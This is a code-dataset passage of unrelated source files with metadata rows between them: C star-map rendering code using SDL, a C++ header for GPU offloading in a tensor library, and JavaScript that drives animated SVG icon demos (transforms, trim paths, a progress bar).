for (; !coord_is_nil(it); it = rect_next_sector(rect, it)) {
SDL_Point top = map_project_sdl(map, it);
SDL_Point bot = map_project_sdl(map, make_coord(
it.x + coord_sector_size,
it.y + coord_sector_size));
SDL_Rect sdl_rect = {
.x = top.x, .y = top.y,
.w = bot.x - top.x,
.h = bot.y - top.y,
};
if (proxy_active_sector(core.proxy, it)) {
uint8_t alpha = 0xFF;
if (map->scale < map_thresh_stars)
alpha = alpha * u64_log2(map->scale) / u64_log2(map_thresh_sector_low);
rgba_render(make_rgba(0x00, 0x33, 0x00, alpha), renderer);
sdl_err(SDL_RenderFillRect(renderer, &sdl_rect));
}
rgba_render(make_rgba(0x00, 0x33, 0x00, 0x88), renderer);
sdl_err(SDL_RenderDrawRect(renderer, &sdl_rect));
}
}
static void map_render_lanes(
struct map *map, SDL_Renderer *renderer, struct coord star)
{
const struct hset *lanes = proxy_lanes_for(core.proxy, star);
if (!lanes || !lanes->len) return;
SDL_Point src = map_project_sdl(map, star);
rgba_render(rgba_gray_a(0xAA, 0xAA), renderer);
for (hset_it_t it = hset_next(lanes, NULL); it; it = hset_next(lanes, it)) {
SDL_Point dst = map_project_sdl(map, coord_from_u64(*it));
sdl_err(SDL_RenderDrawLine(renderer, src.x, src.y, dst.x, dst.y));
}
}
static void map_render_stars(struct map *map, SDL_Renderer *renderer)
{
struct rect rect = map_project_coord_rect(map, &core.rect);
struct proxy_render_it it = proxy_render_it(core.proxy, rect);
const struct star *star = NULL;
while ((star = proxy_render_next(core.proxy, &it))) {
SDL_Point pos = map_project_sdl(map, star->coord);
size_t px = scale_div(map->scale, map_star_px);
SDL_Rect dst = {
.x = pos.x - px / 2,
.y = pos.y - px / 2,
.h = px, .w = px
};
struct hsv hsv = {
.h = ((double) star->hue) / 360,
.s = 1.0 - (((double) star->energy) / UINT16_MAX),
.v = SDL_PointInRect(&core.cursor.point, &dst) ? 0.8 : 0.5,
};
struct rgba rgb = hsv_to_rgb(hsv);
sdl_err(SDL_SetTextureAlphaMod(map->tex, 0xFF));
sdl_err(SDL_SetTextureBlendMode(map->tex, SDL_BLENDMODE_ADD));
sdl_err(SDL_SetTextureColorMod(map->tex, rgb.r, rgb.g, rgb.b));
sdl_err(SDL_RenderCopy(renderer, map->tex, &map->tex_star, &dst));
if (proxy_active_star(core.proxy, star->coord)) {
map_render_lanes(map, renderer, star->coord);
dst = (SDL_Rect) {
.x = pos.x - px / 2,
.y = pos.y - px,
.h = px / 2, .w = px,
};
sdl_err(SDL_SetTextureAlphaMod(map->tex, 0x88));
sdl_err(SDL_SetTextureColorMod(map->tex, 0x88, 0xFF, 0x88));
sdl_err(SDL_RenderCopy(renderer, map->tex, &map->tex_active, &dst));
}
}
}
static void map_render_sectors(struct map *map, SDL_Renderer *renderer);
void map_render(struct map *map, SDL_Renderer *renderer)
{
if (!map->active) return;
rgba_render(rgba_black(), renderer);
sdl_err(SDL_RenderFillRect(renderer, &core.rect));
if (map->scale >= map_thresh_sector_low && map->scale < map_thresh_sector_high)
map_render_sectors(map, renderer);
if (map->scale < map_thresh_stars)
map_render_stars(map, renderer);
else map_render_areas(map, renderer);
}
| 29.798913 | 87 | 0.545504 |
b9dd181f2d0fe9f9ca6c8aa5c586f03a140872fa | 3,359 | h | C | src/shared/offload.h | LinjianMa/ctf | 06a50b6ea4be2eeb7f3d6c43f05a0befae94f08e | [
"BSD-2-Clause"
] | 108 | 2018-01-01T21:29:15.000Z | 2022-02-24T17:51:15.000Z | src/shared/offload.h | LinjianMa/ctf | 06a50b6ea4be2eeb7f3d6c43f05a0befae94f08e | [
"BSD-2-Clause"
] | 91 | 2017-12-27T04:28:09.000Z | 2022-03-10T09:14:43.000Z | src/shared/offload.h | LinjianMa/ctf | 06a50b6ea4be2eeb7f3d6c43f05a0befae94f08e | [
"BSD-2-Clause"
] | 45 | 2017-12-26T21:15:21.000Z | 2022-02-10T11:16:40.000Z | /*Copyright (c) 2014, Edgar Solomonik, all rights reserved.*/
#ifndef __OFFLOAD_H__
#define __OFFLOAD_H__
//#include "../interface/common.h"
namespace CTF_int{
class algstrct;
/** \brief initialize offloading, e.g. create cublas */
void offload_init();
/** \brief exit offloading, e.g. destroy cublas */
void offload_exit();
/** \brief estimate time it takes to upload */
double estimate_download_time(int64_t size);
/** \brief estimate time it takes to download */
double estimate_upload_time(int64_t size);
/** \brief offloaded array/buffer */
class offload_arr {
public:
/** \brief device pointer */
char * dev_spr;
/** \brief number of bytes */
int64_t nbytes;
/**
* \brief constructor allocates device buffer
* \param[in] nbytes number of elements
*/
offload_arr(int64_t nbytes);
/**
* \brief destructor allocates device buffer
*/
~offload_arr();
/**
* \brief read data from device to host pointer
* \param[in,out] host_spr (should be preallocated)
*/
void download(char * host_spr);
/**
* \brief write data from host to device
* \param[in] host_spr
*/
void upload(char const * host_spr);
};
/** \brief offloaded and serialized tensor data */
class offload_tsr : public offload_arr {
public:
/** \brief algebraic structure */
algstrct const * sr;
/** \brief number of elements */
int64_t size;
/**
* \brief constructor allocates device buffer
* \param[in] sr algebraic structure
* \param[in] size number of elements
*/
offload_tsr(algstrct const * sr, int64_t size);
/**
* \brief set device data to zero
*/
void set_zero();
};
/**
* \brief allocate a pinned host buffer
* \param[out] ptr pointer to define
* \param[in] size amount of buffer space to allocate
*/
void host_pinned_alloc(void ** ptr, int64_t size);
/**
* \brief free a pinned host buffer
* \param[in] ptr pointer to free
*/
void host_pinned_free(void * ptr);
template <typename dtype>
void offload_gemm(char tA,
char tB,
int m,
int n,
int k,
dtype alpha,
offload_tsr & A,
int lda_A,
offload_tsr & B,
int lda_B,
dtype beta,
offload_tsr & C,
int lda_C);
template <typename dtype>
void offload_gemm(char tA,
char tB,
int m,
int n,
int k,
dtype alpha,
dtype const * dev_A,
int lda_A,
dtype const * dev_B,
int lda_B,
dtype beta,
dtype * dev_C,
int lda_C);
}
#endif
| 27.760331 | 61 | 0.478118 |
040b0be233cca00bc7df20a442addcce24543098 | 105,052 | js | JavaScript | _js/src/posts/2016/11/29/animated-icon-demos.js | MaTriXy/AndroidDesignPatterns | 25dc839bf9581919f6f3da16c68c30e7010caad7 | [
"MIT"
] | 67 | 2017-01-31T20:38:34.000Z | 2021-03-01T11:15:56.000Z | _js/src/posts/2016/11/29/animated-icon-demos.js | MaTriXy/AndroidDesignPatterns | 25dc839bf9581919f6f3da16c68c30e7010caad7 | [
"MIT"
] | 5 | 2015-03-22T19:29:36.000Z | 2016-12-07T05:47:18.000Z | _js/src/posts/2016/11/29/animated-icon-demos.js | MaTriXy/AndroidDesignPatterns | 25dc839bf9581919f6f3da16c68c30e7010caad7 | [
"MIT"
] | 18 | 2015-03-21T23:23:40.000Z | 2016-10-20T18:26:07.000Z | 'use strict';
// TODO(alockwood): fix this hack...
if (document.getElementById("playTransformScaleCheckbox") !== null) {
var bezierEasing = require('bezier-easing');
var webAnimationsJs = require('web-animations-js');
var pathDataPolyfill = require('path-data-polyfill');
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: transforming play, pause, and record icons (interactive)
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
function getCheckbox(checkboxId) {
return document.querySelector("input[id=" + checkboxId + "]");
}
function updateGroupTransform(iconType, transformType, shouldEnable) {
var group = document.getElementById("transform_paths_" + iconType + "_" + transformType);
var currentTransformValue;
var nextTransformValue;
if (transformType === "translation") {
currentTransformValue = shouldEnable ? "translate(0px,0px)" : "translate(40px,0px)";
nextTransformValue = shouldEnable ? "translate(40px,0px)" : "translate(0px,0px)";
} else if (transformType === "scale") {
currentTransformValue = shouldEnable ? "scale(1,1)" : "scale(1.5,1)";
nextTransformValue = shouldEnable ? "scale(1.5,1)" : "scale(1,1)";
} else {
currentTransformValue = shouldEnable ? "rotate(0deg)" : "rotate(90deg)";
nextTransformValue = shouldEnable ? "rotate(90deg)" : "rotate(0deg)";
}
group.animate([
{ transform: currentTransformValue, offset: 0, easing: "cubic-bezier(0.4, 0, 0.2, 1)" },
{ transform: nextTransformValue, offset: 1 }
], { duration: 300, fill: "forwards" });
}
var playScale = getCheckbox("playTransformScaleCheckbox");
var playRotation = getCheckbox("playTransformRotationCheckbox");
var playTranslation = getCheckbox("playTransformTranslationCheckbox");
var pauseScale = getCheckbox("pauseTransformScaleCheckbox");
var pauseRotation = getCheckbox("pauseTransformRotationCheckbox");
var pauseTranslation = getCheckbox("pauseTransformTranslationCheckbox");
var recordScale = getCheckbox("recordTransformScaleCheckbox");
var recordRotation = getCheckbox("recordTransformRotationCheckbox");
var recordTranslation = getCheckbox("recordTransformTranslationCheckbox");
playScale.addEventListener("change", function () {
updateGroupTransform("play", "scale", playScale.checked);
});
playRotation.addEventListener("change", function () {
updateGroupTransform("play", "rotation", playRotation.checked);
});
playTranslation.addEventListener("change", function () {
updateGroupTransform("play", "translation", playTranslation.checked);
});
pauseScale.addEventListener("change", function () {
updateGroupTransform("pause", "scale", pauseScale.checked);
});
pauseRotation.addEventListener("change", function () {
updateGroupTransform("pause", "rotation", pauseRotation.checked);
});
pauseTranslation.addEventListener("change", function () {
updateGroupTransform("pause", "translation", pauseTranslation.checked);
});
recordScale.addEventListener("change", function () {
updateGroupTransform("record", "scale", recordScale.checked);
});
recordRotation.addEventListener("change", function () {
updateGroupTransform("record", "rotation", recordRotation.checked);
});
recordTranslation.addEventListener("change", function () {
updateGroupTransform("record", "translation", recordTranslation.checked);
});
});
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: transforming groups of paths (chevron, alarm clock, radio button)
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
var fastOutSlowIn = "cubic-bezier(0.4, 0, 0.2, 1.0)";
function getScaledAnimationDuration(durationMillis) {
var slowAnimationSelector = document.querySelector("input[id=basicTransformationSlowAnimationCheckbox]");
var currentAnimationDurationFactor = slowAnimationSelector.checked ? 10 : 1;
return durationMillis * currentAnimationDurationFactor;
}
document.querySelector("input[id=basicTransformationHighlightAnimatingPathsCheckbox]").addEventListener("change", function () {
var shouldHighlight = document.querySelector("input[id=basicTransformationHighlightAnimatingPathsCheckbox]").checked;
var visibility = shouldHighlight ? "visible" : "hidden";
var highlightPaths = document.getElementsByClassName("delightIconHighlightPath");
var i = 0;
for (i = 0; i < highlightPaths.length; i += 1) {
highlightPaths.item(i).style.visibility = visibility;
}
});
function animateTransform(elementId, durationMillis, transformType, fromValue, toValue, easingFunction) {
document.getElementById(elementId).animate([
{ transform: transformType + "(" + fromValue + ")", offset: 0, easing: easingFunction },
{ transform: transformType + "(" + toValue + ")", offset: 1 }
], { duration: getScaledAnimationDuration(durationMillis), fill: "forwards" });
}
// =============== Chevron icon.
var isExpanded = false;
document.getElementById("ic_expand_collapse").addEventListener("click", function () {
if (isExpanded) {
animateTransform("chevron", 250, "translate", "12px,9px", "12px,15px", fastOutSlowIn);
animateTransform("leftBar", 200, "rotate", "45deg", "135deg", "cubic-bezier(0, 0, 0, 1)");
animateTransform("rightBar", 200, "rotate", "135deg", "45deg", "cubic-bezier(0, 0, 0, 1)");
} else {
animateTransform("chevron", 250, "translate", "12px,15px", "12px,9px", fastOutSlowIn);
animateTransform("leftBar", 200, "rotate", "135deg", "45deg", "cubic-bezier(0, 0, 0, 1)");
animateTransform("rightBar", 200, "rotate", "45deg", "135deg", "cubic-bezier(0, 0, 0, 1)");
}
isExpanded = !isExpanded;
});
// =============== Radio button icon.
var isRadioButtonChecked = false;
document.getElementById("ic_radiobutton").addEventListener("click", function () {
animateRadioButton(!isRadioButtonChecked);
isRadioButtonChecked = !isRadioButtonChecked;
});
function animateRadioButton(isAnimatingToCheck) {
document.getElementById("radiobutton_ring_group").animate([{
transform: "scale(1,1)",
offset: 0,
easing: fastOutSlowIn
}, {
transform: isAnimatingToCheck ? "scale(0.5,0.5)" : "scale(0.9,0.9)",
offset: isAnimatingToCheck ? 0.333 : 0.4,
easing: isAnimatingToCheck ? fastOutSlowIn : "cubic-bezier(0.4, 0, 0.4, 1.0)"
}, {
transform: isAnimatingToCheck ? "scale(0.9,0.9)" : "scale(0.5,0.5)",
offset: isAnimatingToCheck ? 0.333 : 0.4,
easing: isAnimatingToCheck ? fastOutSlowIn : "cubic-bezier(0.4, 0, 0.4, 1.0)"
}, {
transform: "scale(1,1)",
offset: 1
}], {
duration: getScaledAnimationDuration(500),
fill: "forwards"
});
document.getElementById("radiobutton_ring_path").animate([{
strokeWidth: "2",
offset: 0,
easing: isAnimatingToCheck ? "cubic-bezier(0.4, 0, 0.4, 1.0)" : fastOutSlowIn
}, {
strokeWidth: isAnimatingToCheck ? "18" : "2",
offset: isAnimatingToCheck ? 0.333 : 0.4,
easing: fastOutSlowIn
}, {
strokeWidth: isAnimatingToCheck ? "2" : "18",
offset: isAnimatingToCheck ? 0.333 : 0.4,
easing: fastOutSlowIn
}, {
strokeWidth: "2",
offset: 1
}], {
duration: getScaledAnimationDuration(500),
fill: "forwards"
});
document.getElementById("radiobutton_dot_group").animate([{
transform: isAnimatingToCheck ? "scale(0,0)" : "scale(1,1)",
offset: 0,
easing: fastOutSlowIn
}, {
transform: isAnimatingToCheck ? "scale(0,0)" : "scale(1.5,1.5)",
offset: isAnimatingToCheck ? 0.333 : 0.4,
easing: fastOutSlowIn
}, {
transform: isAnimatingToCheck ? "scale(1.5,1.5)" : "scale(0,0)",
offset: isAnimatingToCheck ? 0.333 : 0.4,
easing: fastOutSlowIn
}, {
transform: isAnimatingToCheck ? "scale(1,1)" : "scale(0,0)",
offset: 1
}], {
duration: getScaledAnimationDuration(500),
fill: "forwards"
});
}
// =============== Alarm clock icon.
document.getElementById("ic_alarm").addEventListener("click", function () {
animateAlarmClock();
});
function createKeyFrame(rotationDegrees, keyFrameOffset) {
return {
transform: "rotate(" + rotationDegrees + "deg)",
offset: keyFrameOffset,
easing: fastOutSlowIn
};
}
function animateAlarmClock() {
var keyFrames = [];
var i = 0;
for (i = 0; i < 22; i += 1) {
if (i === 0) {
keyFrames.push(createKeyFrame(0, 0));
} else if (i < 21) {
var rotation = i % 2 === 0 ? -8 : 8;
keyFrames.push(createKeyFrame(rotation, 0.025 + ((i - 1) * 0.05)));
} else {
keyFrames.push({
transform: "rotate(0deg)",
offset: 1.0
});
}
}
document.getElementById("alarmclock_button_rotation").animate(keyFrames, {
duration: getScaledAnimationDuration(1333),
fill: "forwards"
});
}
});
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: transforming groups of paths, linear indeterminate progress bar
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
function createOuterRect1Animation() {
return document.getElementById('progressBarOuterRect1').animate([
{ transform: 'translateX(-522.59998px)', offset: 0, easing: 'linear' },
{ transform: 'translateX(-522.59998px)', offset: 0.2, easing: 'cubic-bezier(0.5, 0, 0.701732, 0.495818703)' },
{ transform: 'translateX(-185.382686832px)', offset: 0.5915, easing: 'cubic-bezier(0.302435, 0.38135197, 0.55, 0.956352125)' },
{ transform: 'translateX(235.600006104px)', offset: 1 }
], { duration: 2000, iterations: Infinity });
}
function createInnerRect1Animation() {
return document.getElementById('progressBarInnerRect1').animate([
{ transform: 'scaleX(0.1)', offset: 0, easing: 'linear' },
{ transform: 'scaleX(0.1)', offset: 0.3665, easing: 'cubic-bezier(0.334731432, 0.124819821, 0.785843996, 1)' },
{ transform: 'scaleX(0.826849212646)', offset: 0.6915, easing: 'cubic-bezier(0.225732004, 0, 0.233648906, 1.3709798)' },
{ transform: 'scaleX(0.1)', offset: 1 }
], { duration: 2000, iterations: Infinity });
}
function createOuterRect2Animation() {
return document.getElementById('progressBarOuterRect2').animate([{
transform: 'translateX(-161.600006104px)',
offset: 0,
easing: 'cubic-bezier(0.15, 0, 0.5150584, 0.409684966)'
}, {
transform: 'translateX(-26.0531211724px)',
offset: 0.25,
easing: 'cubic-bezier(0.3103299, 0.284057684, 0.8, 0.733718979)'
}, {
transform: 'translateX(142.190187566px)',
offset: 0.4835,
easing: 'cubic-bezier(0.4, 0.627034903, 0.6, 0.902025796)'
}, {
transform: 'translateX(458.600006104px)',
offset: 1
}], {
duration: 2000,
iterations: Infinity
});
}
function createInnerRect2Animation() {
return document.getElementById('progressBarInnerRect2').animate([
{ transform: 'scaleX(0.1)', offset: 0, easing: 'cubic-bezier(0.205028172, 0.057050836, 0.57660995, 0.453970841)' },
{ transform: 'scaleX(0.571379510698)', offset: 0.1915, easing: 'cubic-bezier(0.152312994, 0.196431957, 0.648373778, 1.00431535)' },
{ transform: 'scaleX(0.909950256348)', offset: 0.4415, easing: 'cubic-bezier(0.25775882, -0.003163357, 0.211761916, 1.38178961)' },
{ transform: 'scaleX(0.1)', offset: 1 }
], { duration: 2000, iterations: Infinity });
}
var outerRect1Animation = createOuterRect1Animation();
var innerRect1Animation = createInnerRect1Animation();
var outerRect2Animation = createOuterRect2Animation();
var innerRect2Animation = createInnerRect2Animation();
var scaleSelector = document.querySelector("input[id=linearProgressScaleCheckbox]");
var translateSelector = document.querySelector("input[id=linearProgressTranslateCheckbox]");
function restartAnimations() {
outerRect1Animation.cancel();
innerRect1Animation.cancel();
outerRect2Animation.cancel();
innerRect2Animation.cancel();
outerRect1Animation = createOuterRect1Animation();
innerRect1Animation = createInnerRect1Animation();
outerRect2Animation = createOuterRect2Animation();
innerRect2Animation = createInnerRect2Animation();
if (!scaleSelector.checked) {
innerRect1Animation.cancel();
innerRect2Animation.cancel();
}
if (!translateSelector.checked) {
outerRect1Animation.cancel();
outerRect2Animation.cancel();
}
}
scaleSelector.addEventListener("change", function () {
restartAnimations();
});
translateSelector.addEventListener("change", function () {
restartAnimations();
});
});
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: trimming stroked paths, interactive demo
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
var trimPathStart = 0.0;
var trimPathEnd = 0.5;
var trimPathOffset = 0.0;
function updateSliderText() {
document.getElementById("trimPathStartValue").innerHTML = trimPathStart;
document.getElementById("trimPathEndValue").innerHTML = trimPathEnd;
document.getElementById("trimPathOffsetValue").innerHTML = trimPathOffset;
}
function convertCurrentTrimToDashArray(pathLength) {
// Calculate the normalized length of the trimmed path. If trimPathStart
// is greater than trimPathEnd, then the result should be the combined
// length of the two line segments: [trimPathStart,1] and [0,trimPathEnd].
var trimPathLengthNormalized = trimPathEnd - trimPathStart;
if (trimPathStart > trimPathEnd) {
trimPathLengthNormalized += 1;
}
// Calculate the absolute length of the trim path by multiplying the
// normalized length with the actual length of the path.
var trimPathLength = trimPathLengthNormalized * pathLength;
// Return the dash array. The first array element is the length of
// the trimmed path and the second element is the gap, which is the
// difference in length between the total path length and the trimmed
// path length.
return trimPathLength + "," + (pathLength - trimPathLength);
}
function convertCurrentTrimToDashOffset(pathLength) {
// The amount to offset the path is equal to the trimPathStart plus
// trimPathOffset. We mod the result because the trimmed path
// should wrap around once it reaches 1.
var trueTrimPathStart = (trimPathStart + trimPathOffset) % 1;
// Return the dash offset.
return pathLength * (1 - trueTrimPathStart);
}
function updateStrokePath() {
var linePath = document.getElementById("line_path");
var linePathLength = linePath.getTotalLength();
var lineDashArray = convertCurrentTrimToDashArray(linePathLength);
var lineDashOffset = convertCurrentTrimToDashOffset(linePathLength);
linePath.setAttribute("stroke-dasharray", lineDashArray);
linePath.setAttribute("stroke-dashoffset", lineDashOffset);
}
function updateUi() {
updateStrokePath();
updateSliderText();
}
document.querySelector("input[id=trimPathStart]").addEventListener("change", function () {
trimPathStart = document.querySelector("input[id=trimPathStart]").value / 100;
updateUi();
});
document.querySelector("input[id=trimPathEnd]").addEventListener("change", function () {
trimPathEnd = document.querySelector("input[id=trimPathEnd]").value / 100;
updateUi();
});
document.querySelector("input[id=trimPathOffset]").addEventListener("change", function () {
trimPathOffset = document.querySelector("input[id=trimPathOffset]").value / 100;
updateUi();
});
document.querySelector("input[id=trimPathStart]").addEventListener("input", function () {
trimPathStart = document.querySelector("input[id=trimPathStart]").value / 100;
updateUi();
});
document.querySelector("input[id=trimPathEnd]").addEventListener("input", function () {
trimPathEnd = document.querySelector("input[id=trimPathEnd]").value / 100;
updateUi();
});
document.querySelector("input[id=trimPathOffset]").addEventListener("input", function () {
trimPathOffset = document.querySelector("input[id=trimPathOffset]").value / 100;
updateUi();
});
});
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: trimming stroked paths (fingerprint, search to back, etc.)
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
var root = document.getElementById("includes6");
var fastOutSlowIn = common.fastOutSlowIn;
var fastOutLinearIn = common.fastOutLinearIn;
var linearOutSlowIn = common.linearOutSlowIn;
function animateTrimPathStartWithDelay(strokePathId, durationMillis, startDelayMillis, easingFunction, isAnimatingIn) {
var strokePath = document.getElementById(strokePathId);
var pathLength = strokePath.getTotalLength();
// TODO(alockwood): remove this hack...
strokePath.animate([
{ strokeDasharray: pathLength, strokeDashoffset: (isAnimatingIn ? -pathLength : 0), offset: 0 },
{ strokeDasharray: pathLength, strokeDashoffset: (isAnimatingIn ? -pathLength : 0), offset: 1 }
], { duration: 0, fill: "forwards" });
strokePath.animate([
{ strokeDasharray: pathLength, strokeDashoffset: (isAnimatingIn ? -pathLength : 0), easing: easingFunction, offset: 0 },
{ strokeDasharray: pathLength, strokeDashoffset: (isAnimatingIn ? 0 : -pathLength), offset: 1 }
], { duration: common.getDuration(root, durationMillis), fill: "forwards", delay: common.getDuration(root, startDelayMillis) });
}
function animateTrimPathEndWithDelay(strokePathId, durationMillis, startDelayMillis, easingFunction, isAnimatingIn) {
var strokePath = document.getElementById(strokePathId);
var pathLength = strokePath.getTotalLength();
// TODO(alockwood): remove this hack...
strokePath.animate([
{ strokeDasharray: pathLength, strokeDashoffset: (isAnimatingIn ? pathLength : 0), offset: 0 },
{ strokeDasharray: pathLength, strokeDashoffset: (isAnimatingIn ? pathLength : 0), offset: 1 }
], { duration: 0, fill: "forwards" });
strokePath.animate([
{ strokeDasharray: pathLength, strokeDashoffset: (isAnimatingIn ? pathLength : 0), easing: easingFunction, offset: 0 },
{ strokeDasharray: pathLength, strokeDashoffset: (isAnimatingIn ? 0 : pathLength), offset: 1 }
], { duration: common.getDuration(root, durationMillis), fill: "forwards", delay: common.getDuration(root, startDelayMillis) });
}
document.querySelector(root.nodeName + "#" + root.id + " input[id=includes6_showTrimPathsCheckbox]").addEventListener("change", function () {
var visibility = document.querySelector(root.nodeName + "#" + root.id + " input[id=includes6_showTrimPathsCheckbox]").checked ? "visible" : "hidden";
var fingerprintDebugPaths = document.getElementsByClassName("delightIconFingerPrintStrokePathDebug");
var i = 0;
for (i = 0; i < fingerprintDebugPaths.length; i += 1) {
fingerprintDebugPaths.item(i).style.visibility = visibility;
}
var handwritingDebugPaths = document.getElementsByClassName("delightIconHandwritingStrokePathDebug");
for (i = 0; i < handwritingDebugPaths.length; i += 1) {
handwritingDebugPaths.item(i).style.visibility = visibility;
}
var searchToBackDebugPaths = document.getElementsByClassName("delightIconSearchToBackStrokePathDebug");
for (i = 0; i < searchToBackDebugPaths.length; i += 1) {
searchToBackDebugPaths.item(i).style.visibility = visibility;
}
});
// =============== Search to back animation.
var isBackArrow = false;
document.getElementById("ic_search_back").addEventListener("click", function () {
animateArrowHead(!isBackArrow);
animateSearchCircle(isBackArrow);
animateStem(!isBackArrow);
isBackArrow = !isBackArrow;
});
function animateStem(isAnimatingToBack) {
var fastOutSlowInFunction = bezierEasing(0.4, 0, 0.2, 1);
var stemPath = document.getElementById("stem");
var pathLength = stemPath.getTotalLength();
var keyFrames = [];
var i;
var trimPathStart;
var trimPathEnd;
var trimPathLength;
if (isAnimatingToBack) {
for (i = 0; i < 600; i += 16) {
trimPathStart = fastOutSlowInFunction(i / 600) * 0.75;
trimPathEnd = fastOutSlowInFunction(Math.min(i, 450) / 450) * (1 - 0.185) + 0.185;
trimPathLength = trimPathEnd - trimPathStart;
keyFrames.push({
strokeDasharray: (trimPathLength * pathLength) + "," + pathLength,
strokeDashoffset: (-trimPathStart * pathLength),
easing: "linear",
offset: (i / 600)
});
}
keyFrames.push({
strokeDasharray: (0.25 * pathLength) + "," + pathLength,
strokeDashoffset: (-0.75 * pathLength),
offset: 1
});
return stemPath.animate(keyFrames, {
duration: common.getDuration(root, 600),
fill: "forwards"
});
} else {
for (i = 0; i < 600; i += 16) {
trimPathStart = (1 - fastOutSlowInFunction(Math.min(i, 450) / 450)) * 0.75;
trimPathEnd = 1 - fastOutSlowInFunction(i / 600) * 0.815;
trimPathLength = trimPathEnd - trimPathStart;
keyFrames.push({
strokeDasharray: (trimPathLength * pathLength) + "," + pathLength,
strokeDashoffset: (-trimPathStart * pathLength),
easing: "linear",
offset: (i / 600)
});
}
keyFrames.push({
strokeDasharray: (0.185 * pathLength) + "," + pathLength,
strokeDashoffset: 0,
offset: 1
});
return stemPath.animate(keyFrames, {
duration: common.getDuration(root, 600),
fill: "forwards"
});
}
}
function animateSearchCircle(isAnimatingIn) {
var searchCirclePath = document.getElementById("search_circle");
var pathLength = searchCirclePath.getTotalLength();
searchCirclePath.animate([{
strokeDasharray: pathLength,
strokeDashoffset: (isAnimatingIn ? pathLength : 0),
easing: fastOutSlowIn,
offset: 0
}, {
strokeDasharray: pathLength,
strokeDashoffset: (isAnimatingIn ? 0 : pathLength),
offset: 1
}], {
duration: common.getDuration(root, 250),
fill: "forwards",
delay: common.getDuration(root, isAnimatingIn ? 300 : 0)
});
}
function animateArrowHead(isAnimatingIn) {
var arrowHeadGroup = document.getElementById("arrow_head");
var arrowHeadTop = document.getElementById("arrow_head_top");
var arrowHeadBottom = document.getElementById("arrow_head_bottom");
var arrowHeadTopPathLength = arrowHeadTop.getTotalLength();
var arrowHeadBottomPathLength = arrowHeadBottom.getTotalLength();
arrowHeadGroup.animate([{
transform: (isAnimatingIn ? "translate(8px,0px)" : "translate(0px,0px)"),
easing: (isAnimatingIn ? linearOutSlowIn : fastOutLinearIn),
offset: 0
}, {
transform: (isAnimatingIn ? "translate(0px,0px)" : "translate(24px,0px)"),
offset: 1
}], {
duration: common.getDuration(root, 250),
fill: "forwards",
delay: common.getDuration(root, isAnimatingIn ? 350 : 0)
});
arrowHeadTop.animate([{
strokeDasharray: arrowHeadTopPathLength,
strokeDashoffset: (isAnimatingIn ? arrowHeadTopPathLength : 0),
easing: fastOutSlowIn,
offset: 0
}, {
strokeDasharray: arrowHeadTopPathLength,
strokeDashoffset: (isAnimatingIn ? 0 : arrowHeadTopPathLength),
offset: 1
}], {
duration: common.getDuration(root, 250),
fill: "forwards",
delay: common.getDuration(root, isAnimatingIn ? 350 : 0)
});
arrowHeadBottom.animate([{
strokeDasharray: arrowHeadBottomPathLength,
strokeDashoffset: (isAnimatingIn ? arrowHeadBottomPathLength : 0),
easing: fastOutSlowIn,
offset: 0
}, {
strokeDasharray: arrowHeadBottomPathLength,
strokeDashoffset: (isAnimatingIn ? 0 : arrowHeadBottomPathLength),
offset: 1
}], {
duration: common.getDuration(root, 250),
fill: "forwards",
delay: common.getDuration(root, isAnimatingIn ? 350 : 0)
});
}
// =============== Handwriting animation.
var currentHandwritingAnimations = [];
document.getElementById("ic_android_handwriting").addEventListener("click", function () {
for (var i = 0; i < currentHandwritingAnimations.length; i++) {
currentHandwritingAnimations[i].cancel();
}
currentHandwritingAnimations = [];
resetAllStrokes();
animateHandwritingStroke("andro", 1000, 0, fastOutLinearIn);
animateHandwritingStroke("id", 250, 1050, fastOutSlowIn);
animateHandwritingStroke("a", 50, 1300, fastOutSlowIn);
animateHandwritingStroke("i1_dot", 50, 1400, fastOutSlowIn);
});
function resetAllStrokes() {
var ids = ["andro", "id", "a", "i1_dot"];
for (var i = 0; i < ids.length; i++) {
var path = document.getElementById(ids[i]);
var pathLength = path.getTotalLength();
// TODO(alockwood): fix this hack
currentHandwritingAnimations.push(path.animate([
{ strokeDasharray: pathLength, strokeDashoffset: pathLength, offset: 0, },
{ strokeDasharray: pathLength, strokeDashoffset: pathLength, offset: 1 }
], { duration: 0, fill: "forwards" }));
}
}
function animateHandwritingStroke(pathId, durationMillis, startDelayMillis, easingCurve) {
var path = document.getElementById(pathId);
var pathLength = path.getTotalLength();
path.animate([{
strokeDasharray: pathLength,
strokeDashoffset: pathLength,
easing: easingCurve,
offset: 0,
}, {
strokeDasharray: pathLength,
strokeDashoffset: 0,
offset: 1
}], {
duration: common.getDuration(root, durationMillis),
fill: "forwards",
delay: common.getDuration(root, startDelayMillis)
});
}
// =============== Fingerprint animation.
var isFingerprintVisible = true;
document.getElementById("ic_fingerprint").addEventListener("click", function () {
animateFingerprint(!isFingerprintVisible);
isFingerprintVisible = !isFingerprintVisible;
});
function animateFingerprint(isAnimatingIn) {
if (isAnimatingIn) {
animateTrimPathStartWithDelay("ridge_5_path", 180, 20, "cubic-bezier(0.5, 0.5, 1, 1)", true);
animateTrimPathStartWithDelay("ridge_7_path", 160, 10, "cubic-bezier(0.5, 0.5, 1, 1)", true);
animateTrimPathEndWithDelay("ridge_6_path", 190, 0, "cubic-bezier(0.5, 0.5, 1, 1)", true);
animateTrimPathEndWithDelay("ridge_2_path", 140, 0, "cubic-bezier(0.5, 0, 1, 1)", true);
animateTrimPathStartWithDelay("ridge_1_path", 216, 60, "cubic-bezier(0.5, 0.5, 1, 1)", true);
} else {
animateTrimPathEndWithDelay("ridge_5_path", 383, 33, "cubic-bezier(0, 0.29, 1, 1)", false);
animateTrimPathEndWithDelay("ridge_7_path", 483, 83, "cubic-bezier(0, 0.5, 1, 1)", false);
